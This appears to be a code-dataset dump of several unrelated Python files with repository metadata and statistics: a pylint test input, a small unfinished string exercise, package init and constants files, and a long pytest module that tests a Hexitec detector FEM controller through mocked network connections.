| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
2d2f571ee68f50e53dd50ac8eb1d185d0a30a698
| 195
|
py
|
Python
|
vendor/packages/pylint/test/input/func_dotted_ancestor.py
|
jgmize/kitsune
|
8f23727a9c7fcdd05afc86886f0134fb08d9a2f0
|
[
"BSD-3-Clause"
] | 2
|
2019-08-19T17:08:47.000Z
|
2019-10-05T11:37:02.000Z
|
vendor/packages/pylint/test/input/func_dotted_ancestor.py
|
jgmize/kitsune
|
8f23727a9c7fcdd05afc86886f0134fb08d9a2f0
|
[
"BSD-3-Clause"
] | 7
|
2021-02-08T20:22:15.000Z
|
2022-03-11T23:19:41.000Z
|
vendor/packages/pylint/test/input/func_dotted_ancestor.py
|
jgmize/kitsune
|
8f23727a9c7fcdd05afc86886f0134fb08d9a2f0
|
[
"BSD-3-Clause"
] | null | null | null |
"""bla"""
__revision__ = 'yo'
from input import func_w0233
class Aaaa(func_w0233.AAAA):
"""test dotted name in ancestors"""
def __init__(self):
func_w0233.AAAA.__init__(self)
| 16.25
| 39
| 0.671795
| 26
| 195
| 4.461538
| 0.692308
| 0.232759
| 0.224138
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.076433
| 0.194872
| 195
| 11
| 40
| 17.727273
| 0.66242
| 0.169231
| 0
| 0
| 0
| 0
| 0.013245
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| false
| 0
| 0.2
| 0
| 0.6
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
2d30fb092b0d27e41e7a317cea230556f9033331
| 198
|
py
|
Python
|
2020-11-16/cripto.py
|
pufe/programa
|
7f79566597446e9e39222e6c15fa636c3dd472bb
|
[
"MIT"
] | 2
|
2020-12-12T00:02:40.000Z
|
2021-04-21T19:49:59.000Z
|
2020-11-16/cripto.py
|
pufe/programa
|
7f79566597446e9e39222e6c15fa636c3dd472bb
|
[
"MIT"
] | null | null | null |
2020-11-16/cripto.py
|
pufe/programa
|
7f79566597446e9e39222e6c15fa636c3dd472bb
|
[
"MIT"
] | null | null | null |
n = int(input())
for i in range(n):
linha = input()
for j in range(len(linha)):
c = ""
if (linha[j] >= "A" and linha[j]<="Z"):
linha[j] =
| 19.8
| 48
| 0.383838
| 27
| 198
| 2.814815
| 0.555556
| 0.236842
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.429293
| 198
| 9
| 49
| 22
| 0.672566
| 0
| 0
| 0
| 0
| 0
| 0.010582
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
2d343bb1c1e641eefbd3aa350eff1a926a86c502
| 142
|
py
|
Python
|
oommfc/oommf/__init__.py
|
ubermag/oommfc
|
38deb4f6209fff03c4b9d573f84c934af7d078a5
|
[
"BSD-3-Clause"
] | 23
|
2019-09-18T10:58:00.000Z
|
2022-02-07T07:05:49.000Z
|
oommfc/oommf/__init__.py
|
ubermag/oommfc
|
38deb4f6209fff03c4b9d573f84c934af7d078a5
|
[
"BSD-3-Clause"
] | 43
|
2019-08-22T04:31:36.000Z
|
2022-03-28T09:09:15.000Z
|
oommfc/oommf/__init__.py
|
ubermag/oommfc
|
38deb4f6209fff03c4b9d573f84c934af7d078a5
|
[
"BSD-3-Clause"
] | 7
|
2020-04-25T13:25:25.000Z
|
2021-12-06T15:06:28.000Z
|
"""OOMMF driving utility"""
from .oommf import (OOMMFRunner, TclOOMMFRunner, ExeOOMMFRunner,
DockerOOMMFRunner, overhead)
| 35.5
| 64
| 0.690141
| 11
| 142
| 8.909091
| 0.909091
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.21831
| 142
| 3
| 65
| 47.333333
| 0.882883
| 0.147887
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
2d390d7609f2e714ded8ff317e3aef1ecf99ae7f
| 152
|
py
|
Python
|
nz_covid19_lit/constants.py
|
JDCRecomendable/nz-covid19-locations-of-interest
|
66c0be33c1b1419651208c5276d525a12955d205
|
[
"Apache-2.0"
] | null | null | null |
nz_covid19_lit/constants.py
|
JDCRecomendable/nz-covid19-locations-of-interest
|
66c0be33c1b1419651208c5276d525a12955d205
|
[
"Apache-2.0"
] | null | null | null |
nz_covid19_lit/constants.py
|
JDCRecomendable/nz-covid19-locations-of-interest
|
66c0be33c1b1419651208c5276d525a12955d205
|
[
"Apache-2.0"
] | null | null | null |
url = 'https://api.integration.covid19.health.nz/locations/v1/current-locations-of-interest'
path_to_data = 'data.txt'
seconds_before_next_update = 600
| 38
| 92
| 0.802632
| 23
| 152
| 5.086957
| 0.913043
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.041958
| 0.059211
| 152
| 3
| 93
| 50.666667
| 0.776224
| 0
| 0
| 0
| 0
| 0.333333
| 0.605263
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
2d3e1b23950bf7da26a63e8547238bf247f02634
| 83
|
py
|
Python
|
most_common_words/__main__.py
|
dimbas/most_commmon_words
|
4afdfeab495fc82bddb0836ae70f9501b3615f24
|
[
"MIT"
] | null | null | null |
most_common_words/__main__.py
|
dimbas/most_commmon_words
|
4afdfeab495fc82bddb0836ae70f9501b3615f24
|
[
"MIT"
] | null | null | null |
most_common_words/__main__.py
|
dimbas/most_commmon_words
|
4afdfeab495fc82bddb0836ae70f9501b3615f24
|
[
"MIT"
] | null | null | null |
# coding=utf-8
import sys
from most_common_words.cli import cli
sys.exit(cli())
| 10.375
| 37
| 0.746988
| 15
| 83
| 4
| 0.733333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.014085
| 0.144578
| 83
| 7
| 38
| 11.857143
| 0.830986
| 0.144578
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.666667
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
744c242317ebdc43a6552100844039ad755c96eb
| 106,513
|
py
|
Python
|
control/test/hexitec/package/test_fem.py
|
stfc-aeg/hexitec-detector
|
c535cd212b39a809990fbec91bf503723f6ad787
|
[
"Apache-2.0"
] | 1
|
2020-10-22T07:50:41.000Z
|
2020-10-22T07:50:41.000Z
|
control/test/hexitec/package/test_fem.py
|
stfc-aeg/hexitec-detector
|
c535cd212b39a809990fbec91bf503723f6ad787
|
[
"Apache-2.0"
] | 68
|
2020-10-19T08:16:02.000Z
|
2022-03-12T00:55:16.000Z
|
control/test/hexitec/package/test_fem.py
|
stfc-aeg/hexitec-detector
|
c535cd212b39a809990fbec91bf503723f6ad787
|
[
"Apache-2.0"
] | null | null | null |
"""Test Cases for the Hexitec Fem in hexitec.
Christian Angelsen, STFC Detector Systems Software Group
"""
import unittest
import pytest
import time
import sys
import os
from hexitec.HexitecFem import HexitecFem, HexitecFemError
from hexitec.adapter import HexitecAdapter
from odin.adapters.parameter_tree import ParameterTreeError
from socket import error as socket_error
if sys.version_info[0] == 3: # pragma: no cover
from unittest.mock import Mock, call, patch, ANY
else: # pragma: no cover
from mock import Mock, call, patch, ANY
class FemTestFixture(object):
"""Set up a text fixture."""
def __init__(self):
"""Initialise object."""
self.ip = "127.0.0.1"
self.id = 0
self.options = {
"fem_0":
"""
id = 0,
server_ctrl_ip = 127.0.0.1,
camera_ctrl_ip = 127.0.0.1,
server_data_ip = 127.0.0.1,
camera_data_ip = 127.0.0.1
"""
}
# FPGA base addresses
self.rdma_addr = {
"receiver": 0xC0000000,
"frm_gate": 0xD0000000,
"reset_monitor": 0x90000000
}
with patch("hexitec.HexitecDAQ.ParameterTree"):
self.adapter = HexitecAdapter(**self.options)
self.detector = self.adapter.hexitec # shortcut, makes assert lines shorter
with patch("hexitec.HexitecFem.RdmaUDP"):
self.fem = HexitecFem(self.detector, self.id, self.ip,
self.ip, self.ip, self.ip)
self.fem.connect()
# Construct paths relative to current working directory
cwd = os.getcwd()
base_path_index = cwd.rfind("hexitec-detector")
base_path = cwd[:base_path_index]
self.odin_control_path = base_path + "hexitec-detector/control"
self.odin_data_path = base_path + "hexitec-detector/data"
class TestFem(unittest.TestCase):
"""Unit tests for the fem class."""
def setUp(self):
"""Set up test fixture for each unit test."""
self.test_fem = FemTestFixture()
def test_init(self):
"""Assert the initilisation of the Fem class works."""
assert self.test_fem.fem.id == self.test_fem.id
def test_nonzero_id(self):
"""Test constructor works ok."""
id = 1
fem = HexitecFem(None, id, self.test_fem.ip, self.test_fem.ip,
self.test_fem.ip, self.test_fem.ip)
assert fem.id == 1
def test_connect(self):
"""Assert the connect method creates the rdma as expected."""
with patch("hexitec.HexitecFem.RdmaUDP") as mock_rdma:
self.test_fem.fem.connect()
mock_rdma.assert_called_with(self.test_fem.ip, 61650,
self.test_fem.ip, 61651,
self.test_fem.ip, 61650,
self.test_fem.ip, 61651,
2000000, 9000, 20)
assert self.test_fem.fem.x10g_rdma.ack is True
def test_connect_fails(self):
"""Assert the connect method Exception handling works."""
with patch('hexitec.HexitecFem.RdmaUDP') as rdma_mock:
rdma_mock.side_effect = socket_error()
with pytest.raises(socket_error) as exc_info:
self.test_fem.fem.connect()
assert exc_info.type is socket_error
assert exc_info.value.args[0] == "Failed to setup Control connection: "
def test_read_sensors_working_ok(self):
"""Test the read_sensors function works."""
with patch('hexitec.HexitecFem.RdmaUDP'):
self.test_fem.fem.vsr_addr = 144
self.test_fem.fem.read_firmware_version = True
firmware_date = "11/03/2020"
firmware_time = "09:43"
self.test_fem.fem.x10g_rdma.read = Mock()
self.test_fem.fem.x10g_rdma.read.side_effect = [285417504, 2371]
self.test_fem.fem.read_sensors()
assert self.test_fem.fem.vsr_addr == 144
assert self.test_fem.fem.firmware_date == firmware_date
assert self.test_fem.fem.firmware_time == firmware_time
# assert self.test_fem.fem.read_firmware_version is False
# assert self.test_fem.fem.firmware_date == ""
def test_read_sensors_Exception(self):
"""Test the read_sensors handles Exception."""
with patch('hexitec.HexitecFem.RdmaUDP'):
self.test_fem.fem.read_firmware_version = True
self.test_fem.fem.x10g_rdma.read = Mock()
self.test_fem.fem.x10g_rdma.read.side_effect = Exception()
self.test_fem.fem.read_sensors()
error = "Uncaught Exception; Reading sensors failed: "
assert self.test_fem.fem._get_status_error() == error
def test_read_sensors_HexitecFemError(self):
"""Test the read_sensors handles Exception."""
with patch('hexitec.HexitecFem.RdmaUDP'):
self.test_fem.fem.read_firmware_version = True
self.test_fem.fem.x10g_rdma.read = Mock()
self.test_fem.fem.x10g_rdma.read.side_effect = HexitecFemError()
self.test_fem.fem.read_sensors()
error = "Failed to read sensors: "
assert self.test_fem.fem._get_status_error() == error
def test_cleanup(self):
"""Test cleanup function works ok."""
self.test_fem.fem.cleanup()
self.test_fem.fem.x10g_rdma.close.assert_called_with()
def test_set_image_size(self):
"""Test setting image size handled ok."""
address_pixel_count = self.test_fem.rdma_addr['receiver'] | 0x01
address_pixel_size = self.test_fem.rdma_addr['receiver'] + 4
self.test_fem.fem.set_image_size(160, 160, 14, 16)
assert self.test_fem.fem.image_size_x == 160
assert self.test_fem.fem.image_size_y == 160
assert self.test_fem.fem.image_size_p == 14
assert self.test_fem.fem.image_size_f == 16
pixel_count_max = (160 * 160) // 2
data = (pixel_count_max & 0x1FFFF) - 1
self.test_fem.fem.x10g_rdma.write.assert_has_calls(
[call(address_pixel_count, data, ANY),
call(address_pixel_size, 0x3, ANY)]
)
# Repeat for 80x80, single sensor?
# self.test_fem.fem.set_image_size(102, 288, 11, 16)
self.test_fem.fem.set_image_size(80, 80, 14, 16)
assert self.test_fem.fem.image_size_x == 80
assert self.test_fem.fem.image_size_y == 80
assert self.test_fem.fem.image_size_p == 14
assert self.test_fem.fem.image_size_f == 16
pixel_count_max = (80 * 80) // 2
data = (pixel_count_max & 0x1FFFF) - 1
self.test_fem.fem.x10g_rdma.write.assert_has_calls(
[call(address_pixel_count, data, ANY),
call(address_pixel_size, 0x3, ANY)]
)
def test_set_image_size_wrong_pixel(self):
"""Test setting wrong pixel size handled ok."""
self.test_fem.fem.set_image_size(102, 288, 0, 16)
assert self.test_fem.fem.image_size_x == 102
assert self.test_fem.fem.image_size_y == 288
assert self.test_fem.fem.image_size_p == 0
assert self.test_fem.fem.image_size_f == 16
assert not self.test_fem.fem.x10g_rdma.write.called
def test_data_stream(self):
"""Also covers frame_gate_settings(), frame_gate_trigger()."""
frame_num = 10
frame_gap = 0
# data_stream subtracts 1 from frame_num before
# passing it onto frame_gate_settings
self.test_fem.fem.data_stream(frame_num+1)
self.test_fem.fem.x10g_rdma.write.assert_has_calls([
call(self.test_fem.rdma_addr["frm_gate"] + 1, frame_num, ANY),
call(self.test_fem.rdma_addr["frm_gate"] + 2, frame_gap, ANY),
call(self.test_fem.rdma_addr["reset_monitor"], 0, ANY),
call(self.test_fem.rdma_addr["reset_monitor"], 1, ANY),
call(self.test_fem.rdma_addr["reset_monitor"], 0, ANY),
call(self.test_fem.rdma_addr["frm_gate"], 0, ANY),
call(self.test_fem.rdma_addr["frm_gate"], 1, ANY),
call(self.test_fem.rdma_addr["frm_gate"], 0, ANY)
])
def test_set_duration_enable(self):
"""Test set_duration_enable works."""
self.test_fem.fem.duration_enabled = False
self.test_fem.fem.set_duration_enable(True)
assert self.test_fem.fem.duration_enabled is True
def test_set_duration(self):
"""Test set_duration works."""
# Ensure clocks configured
row_s1 = 5
s1_sph = 1
sph_s2 = 5
self.test_fem.fem.row_s1 = row_s1
self.test_fem.fem.s1_sph = s1_sph
self.test_fem.fem.sph_s2 = sph_s2
self.test_fem.fem.calculate_frame_rate()
duration = 1
self.test_fem.fem.set_duration(duration)
assert self.test_fem.fem.number_frames == 7154
def test_get_health(self):
"""Test obtaining health variable works."""
health = False
self.test_fem.fem.health = health
assert self.test_fem.fem.get_health() is health
def test_get_id(self):
"""Test setting id works."""
new_id = 2
self.test_fem.fem.id = new_id
assert self.test_fem.fem.get_id() == new_id
def test_poll_sensors_calls_self(self):
"""Test poll_sensors() calls itself after 1 seconds."""
with patch("hexitec.HexitecFem.IOLoop") as mock_loop:
self.test_fem.fem.hardware_connected = True
self.test_fem.fem.hardware_busy = False
self.test_fem.fem.poll_sensors()
mock_loop.instance().call_later.assert_called_with(1.0, self.test_fem.fem.poll_sensors)
def test_connect_hardware_fails(self):
"""Test that connecting with hardware handles failure."""
with patch('hexitec.HexitecFem.RdmaUDP') as rdma_mock:
# Fein error connecting to camera
rdma_mock.side_effect = HexitecFemError()
self.test_fem.fem.connect_hardware()
assert self.test_fem.fem._get_status_error() == "Failed to connect with camera: "
assert self.test_fem.fem._get_status_message() == "Is the camera powered?"
# Fein unexpected Exception connecting to camera
self.test_fem.fem.hardware_connected = False
rdma_mock.side_effect = Exception()
self.test_fem.fem.connect_hardware()
error = "Uncaught Exception; Camera connection: "
assert self.test_fem.fem._get_status_error() == error
# Don't Mock, error because we couldn't setup a connection
self.test_fem.fem.connect_hardware("test")
assert self.test_fem.fem._get_status_error() == "Connection already established"
def test_connect_hardware(self):
"""Test connecting with hardware works."""
with patch("hexitec.HexitecFem.RdmaUDP"):
self.test_fem.fem.connect_hardware("test")
assert self.test_fem.fem.hardware_connected is True
def test_initialise_hardware_fails_if_not_connected(self):
"""Test function fails when no connection established."""
self.test_fem.fem.initialise_hardware()
error = "Failed to initialise camera: No connection established"
assert self.test_fem.fem._get_status_error() == error
def test_initialise_hardware_fails_if_hardware_busy(self):
"""Test function fails when hardware busy."""
self.test_fem.fem.hardware_connected = True
self.test_fem.fem.hardware_busy = True
self.test_fem.fem.initialise_hardware()
error = "Failed to initialise camera: Hardware sensors busy initialising"
assert self.test_fem.fem.status_error == error
def test_initialise_hardware_fails_unknown_exception(self):
"""Test function fails unexpected exception."""
self.test_fem.fem.hardware_connected = True
self.test_fem.fem.hardware_busy = False
self.test_fem.fem.initialise_system = Mock()
self.test_fem.fem.initialise_system.side_effect = AttributeError()
self.test_fem.fem.initialise_hardware()
error = "Uncaught Exception; Camera initialisation failed: "
assert self.test_fem.fem.status_error == error
def test_initialise_hardware_handles_fudge_initialisation(self):
"""Test function handles initialisation from cold."""
self.test_fem.fem.hardware_connected = True
self.test_fem.fem.hardware_busy = False
self.test_fem.fem.debug_register24 = False
self.test_fem.fem.initialise_system = Mock()
self.test_fem.fem.first_initialisation = True
self.test_fem.fem.parent.daq = Mock(in_progress=False)
self.test_fem.fem.parent.daq.start_acquisition = Mock()
self.test_fem.fem.initialise_hardware()
assert self.test_fem.fem.operation_percentage_complete == 0
assert self.test_fem.fem.operation_percentage_steps == 108
assert self.test_fem.fem.initialise_progress == 0
def test_initialise_hardware_handles_daq_busy(self):
"""Test function handles cold start with daq already busy."""
self.test_fem.fem.hardware_connected = True
self.test_fem.fem.hardware_busy = False
self.test_fem.fem.debug_register24 = False
self.test_fem.fem.initialise_system = Mock()
self.test_fem.fem.first_initialisation = True
self.test_fem.fem.parent.daq = Mock(in_progress=True)
self.test_fem.fem.initialise_hardware()
def test_initialise_hardware_handles_warm_initialisation(self):
"""Test function handles fudge free initialisation."""
self.test_fem.fem.hardware_connected = True
self.test_fem.fem.hardware_busy = False
self.test_fem.fem.debug_register24 = False
self.test_fem.fem.initialise_system = Mock()
self.test_fem.fem.first_initialisation = False
self.test_fem.fem.initialise_hardware()
def test_collect_data_fails_on_hardware_busy(self):
"""Test function fails when hardware already busy."""
self.test_fem.fem.hardware_connected = True
self.test_fem.fem.hardware_busy = True
self.test_fem.fem.ignore_busy = False
self.test_fem.fem.collect_data()
error = "Failed to collect data: Hardware sensors busy initialising"
assert self.test_fem.fem._get_status_error() == error
def test_collect_data_fails_without_connection(self):
"""Test function fails without established hardware connection."""
self.test_fem.fem.hardware_connected = False
self.test_fem.fem.collect_data("test")
assert self.test_fem.fem._get_status_error() == "Failed to collect data: No connection established"
def test_collect_data_fails_on_exception(self):
"""Test function can handle unexpected exception."""
self.test_fem.fem.hardware_connected = True
self.test_fem.fem.hardware_busy = False
self.test_fem.fem.acquire_data = Mock()
self.test_fem.fem.acquire_data.side_effect = AttributeError()
self.test_fem.fem.collect_data()
error = "Uncaught Exception; Data collection failed: "
assert self.test_fem.fem.status_error == error
def test_collect_data_works(self):
"""Test function works all right."""
# Ensure correct circumstances
self.test_fem.fem.hardware_connected = True
self.test_fem.fem.hardware_busy = False
self.test_fem.fem.ignore_busy = True
self.test_fem.fem.first_initialisation = True
# Reset variables, to be checked post run
self.test_fem.fem.acquisition_completed = False
self.test_fem.fem.acquire_data = Mock()
self.test_fem.fem.collect_data()
assert self.test_fem.fem.operation_percentage_steps == 100
assert self.test_fem.fem.initialise_progress == 0
def test_disconnect_hardware(self):
"""Test the function works ok."""
self.test_fem.fem.hardware_connected = True
self.test_fem.fem.disconnect_hardware()
assert self.test_fem.fem.hardware_connected is False
def test_disconnect_hardware_fails_without_connection(self):
"""Test function fails without established hardware connection."""
self.test_fem.fem.hardware_connected = False
self.test_fem.fem.disconnect_hardware()
error = "Failed to disconnect: No connection to disconnect"
assert self.test_fem.fem._get_status_error() == error
def test_disconnect_hardware_fails_on_exception(self):
"""Test function can handle unexpected exception."""
self.test_fem.fem.hardware_connected = True
self.test_fem.fem.cam_disconnect = Mock()
self.test_fem.fem.cam_disconnect.side_effect = AttributeError()
self.test_fem.fem.disconnect_hardware()
error = "Uncaught Exception; Disconnection failed: "
assert self.test_fem.fem._get_status_error() == error
def test_accessor_functions(self):
"""Test access functions handle bools."""
number_frames = 1001
self.test_fem.fem.set_number_frames(number_frames)
assert self.test_fem.fem.get_number_frames() == number_frames
for bEnabled in True, False:
self.test_fem.fem.set_debug(bEnabled)
assert self.test_fem.fem.get_debug() == bEnabled
def test_initialisation_check_loop_error_exits(self):
"""Test the function will exit immediately if an error has been detected."""
self.test_fem.fem.status_error = "Error: Oh No"
self.test_fem.fem.hardware_busy = True
self.test_fem.fem.initialisation_check_loop()
assert self.test_fem.fem.hardware_busy is False
def test_initialisation_check_loop_respects_time_delay(self):
"""Test function will call itself until delay of 10 seconds achieved."""
with patch("hexitec.HexitecFem.IOLoop") as mock_loop:
self.test_fem.fem.start = time.time() - 9
self.test_fem.fem.operation_percentage_complete = 90
self.test_fem.fem.initialisation_check_loop()
mock_loop.instance().call_later.assert_called_with(1.0, self.test_fem.fem.initialisation_check_loop)
def test_initialisation_check_loop_stops_after_delay(self):
"""Test the function will exit after 10 second delay."""
self.test_fem.fem.start = time.time() - 10
self.test_fem.fem.operation_percentage_complete = 90
self.test_fem.fem.initialisation_check_loop()
status = "Camera connected. FPGAs initialised."
assert self.test_fem.fem.status_message == status
def test_send_cmd(self):
"""Test send_cmd working ok."""
self.test_fem.fem.debug = True
cmd = [35, 144, 68, 65, 52, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70,
70, 70, 70, 70, 70, 13, 13]
encoded_value = [596657217, 877020742, 1179010630, 1179010630, 1179010630, 1179010630,
1175260429]
self.test_fem.fem.send_cmd(cmd)
self.test_fem.fem.x10g_rdma.write.assert_has_calls([
call(0xE0000100, encoded_value[0], ANY),
call(0xE0000100, encoded_value[1], ANY),
call(0xE0000100, encoded_value[2], ANY),
call(0xE0000100, encoded_value[3], ANY),
call(0xE0000100, encoded_value[4], ANY),
call(0xE0000100, encoded_value[5], ANY),
call(0xE0000100, encoded_value[6], ANY)
])
def test_read_response(self):
"""Test function works ok."""
self.test_fem.fem.set_debug(True)
return_values = [0, 714158145, 0, 808520973, 0, 13]
self.test_fem.fem.x10g_rdma.read = Mock()
self.test_fem.fem.x10g_rdma.read.side_effect = return_values
address = 0xE0000011
status = self.test_fem.fem.read_response()
self.test_fem.fem.x10g_rdma.read.assert_called_with(address, ANY)
assert status == '\x910A01\r\r'
def test_read_response_failed(self):
"""Test the function fails receiving badly formatted data."""
self.test_fem.fem.x10g_rdma.read = Mock(return_value=1)
with pytest.raises(HexitecFemError) as exc_info:
self.test_fem.fem.read_response()
assert exc_info.type is HexitecFemError
assert exc_info.value.args[0] == "read_response aborted"
def test_cam_connect(self):
"""Test function works ok."""
self.test_fem.fem.connect = Mock()
self.test_fem.fem.send_cmd = Mock()
self.test_fem.fem.cam_connect()
def test_cam_connect_fails_network_error(self):
"""Test function handles socket error."""
self.test_fem.fem.connect = Mock()
self.test_fem.fem.connect.side_effect = socket_error()
with pytest.raises(HexitecFemError) as exc_info:
self.test_fem.fem.cam_connect()
assert exc_info.type is HexitecFemError
assert self.test_fem.fem.hardware_connected is False
def test_cam_disconnect(self):
"""Test function works ok."""
self.test_fem.fem.send_cmd = Mock()
self.test_fem.fem.disconnect = Mock()
self.test_fem.fem.cam_disconnect()
def test_cam_disconnect_fails_network_error(self):
"""Test function handles socket error."""
self.test_fem.fem.send_cmd = Mock()
self.test_fem.fem.send_cmd.side_effect = socket_error()
with pytest.raises(HexitecFemError) as exc_info:
self.test_fem.fem.cam_disconnect()
assert exc_info.type is HexitecFemError
assert self.test_fem.fem.hardware_connected is False
def test_cam_disconnect_fails_attribute_error(self):
"""Test function handles attribute error."""
self.test_fem.fem.send_cmd = Mock()
self.test_fem.fem.send_cmd.side_effect = AttributeError()
with pytest.raises(HexitecFemError) as exc_info:
self.test_fem.fem.cam_disconnect()
assert exc_info.type is HexitecFemError
assert self.test_fem.fem.hardware_connected is False
def test_initialise_sensor(self):
"""Test function works ok."""
# Ensure appropriate configuration
self.test_fem.fem.selected_sensor = self.test_fem.fem.OPTIONS[0]
self.test_fem.fem.sensors_layout = self.test_fem.fem.READOUTMODE[1]
self.test_fem.fem.read_response = Mock()
self.test_fem.fem.send_cmd = Mock()
empty_signals = 65535
full_signals = 255
self.test_fem.fem.x10g_rdma.read = Mock()
self.test_fem.fem.x10g_rdma.read.side_effect = [empty_signals, full_signals]
self.test_fem.fem.initialise_sensor()
self.test_fem.fem.x10g_rdma.write.assert_has_calls([
call(0x60000002, 0, ANY),
call(0x60000004, 0, ANY),
call(0x60000001, 2, ANY),
])
assert self.test_fem.fem.vsr_addr == self.test_fem.fem.VSR_ADDRESS[0]
def test_initialise_sensor2(self):
"""Test function works ok, testing the path the previous function doesn't cover."""
# Ensure appropriate configuration
self.test_fem.fem.selected_sensor = self.test_fem.fem.OPTIONS[2]
self.test_fem.fem.sensors_layout = self.test_fem.fem.READOUTMODE[0]
self.test_fem.fem.read_response = Mock()
self.test_fem.fem.send_cmd = Mock()
empty_signals = 65535
full_signals = 255
self.test_fem.fem.x10g_rdma.read = Mock()
self.test_fem.fem.x10g_rdma.read.side_effect = [empty_signals, full_signals]
self.test_fem.fem.initialise_sensor()
self.test_fem.fem.x10g_rdma.write.assert_has_calls([
call(0x60000002, 0, ANY),
call(0x60000004, 4, ANY),
call(0x60000001, 2, ANY),
])
assert self.test_fem.fem.vsr_addr == self.test_fem.fem.VSR_ADDRESS[1]
def test_calibrate_sensor_1_sensor(self):
"""Test function handles single sensor."""
self.test_fem.fem.sensors_layout = self.test_fem.fem.READOUTMODE[0]
self.test_fem.fem.vsr_addr = self.test_fem.fem.VSR_ADDRESS[1]
self.test_fem.fem.selected_sensor = HexitecFem.OPTIONS[2]
self.test_fem.fem.read_response = Mock(return_value="06")
self.test_fem.fem.send_cmd = Mock()
self.test_fem.fem.x10g_rdma.read = Mock()
self.test_fem.fem.x10g_rdma.read.side_effects = 65535
self.test_fem.fem.debug = True
self.test_fem.fem.calibrate_sensor()
assert self.test_fem.fem.image_size_x == 80
assert self.test_fem.fem.image_size_y == 80
def test_calibrate_sensor_2x2_sensors(self):
"""Test function handles 2x2 sensors."""
self.test_fem.fem.sensors_layout = self.test_fem.fem.READOUTMODE[1]
self.test_fem.fem.vsr_addr = self.test_fem.fem.VSR_ADDRESS[0]
self.test_fem.fem.selected_sensor = HexitecFem.OPTIONS[0]
self.test_fem.fem.read_response = Mock(return_value="06")
self.test_fem.fem.send_cmd = Mock()
self.test_fem.fem.x10g_rdma.read = Mock()
self.test_fem.fem.x10g_rdma.read.side_effects = 65535
self.test_fem.fem.debug = True
self.test_fem.fem.calibrate_sensor()
assert self.test_fem.fem.image_size_x == 160
assert self.test_fem.fem.image_size_y == 160
def test_calibrate_sensor_fails_wrong_rdma_read(self):
"""Test function handles rdma read return wrong value."""
self.test_fem.fem.sensors_layout = self.test_fem.fem.READOUTMODE[1]
self.test_fem.fem.selected_sensor = HexitecFem.OPTIONS[0]
self.test_fem.fem.read_response = Mock(return_value="01")
self.test_fem.fem.send_cmd = Mock()
self.test_fem.fem.x10g_rdma.read = Mock()
self.test_fem.fem.x10g_rdma.read.side_effects = 65535
with patch('time.sleep') as fake_sleep:
fake_sleep.side_effect = None
with pytest.raises(HexitecFemError) as exc_info:
self.test_fem.fem.calibrate_sensor()
assert exc_info.type is HexitecFemError
assert exc_info.value.args[0] == "Timed out polling register 0x89; PLL remains disabled"
assert self.test_fem.fem.image_size_x == 160
assert self.test_fem.fem.image_size_y == 160
def test_acquire_data_2x2_system(self):
"""Test function handles normal configuration."""
self.test_fem.fem.first_initialisation = True
self.test_fem.fem.sensors_layout = HexitecFem.READOUTMODE[1]
self.test_fem.fem.selected_sensor = HexitecFem.OPTIONS[2]
self.test_fem.fem.debug = True
empty_signals = 65535
full_signals = 255
transfer_ongoing = 0
transfer_completed = 1
number_frames = 2
# Output from Sensor
s_frame_last_length = 51200
s_frame_max_length = 76960
s_frame_min_length = 51200
s_frame_number = 9
s_frame_last_clock_cycles = 23015
s_frame_max_clock_cycles = 4112394392
s_frame_min_clock_cycles = 23015
s_frame_data_total = 538080
s_frame_data_total_clock_cycles = 1278212083
s_frame_trigger_count = 0
s_frame_in_progress_flag = 0
# Output from frame Gate
fg_frame_last_length = 51200
fg_frame_max_length = 51200
fg_frame_min_length = 51200
fg_frame_number = 6
fg_frame_last_clock_cycles = 23015
fg_frame_max_clock_cycles = 4112417407
fg_frame_min_clock_cycles = 23015
fg_frame_data_total = 307200
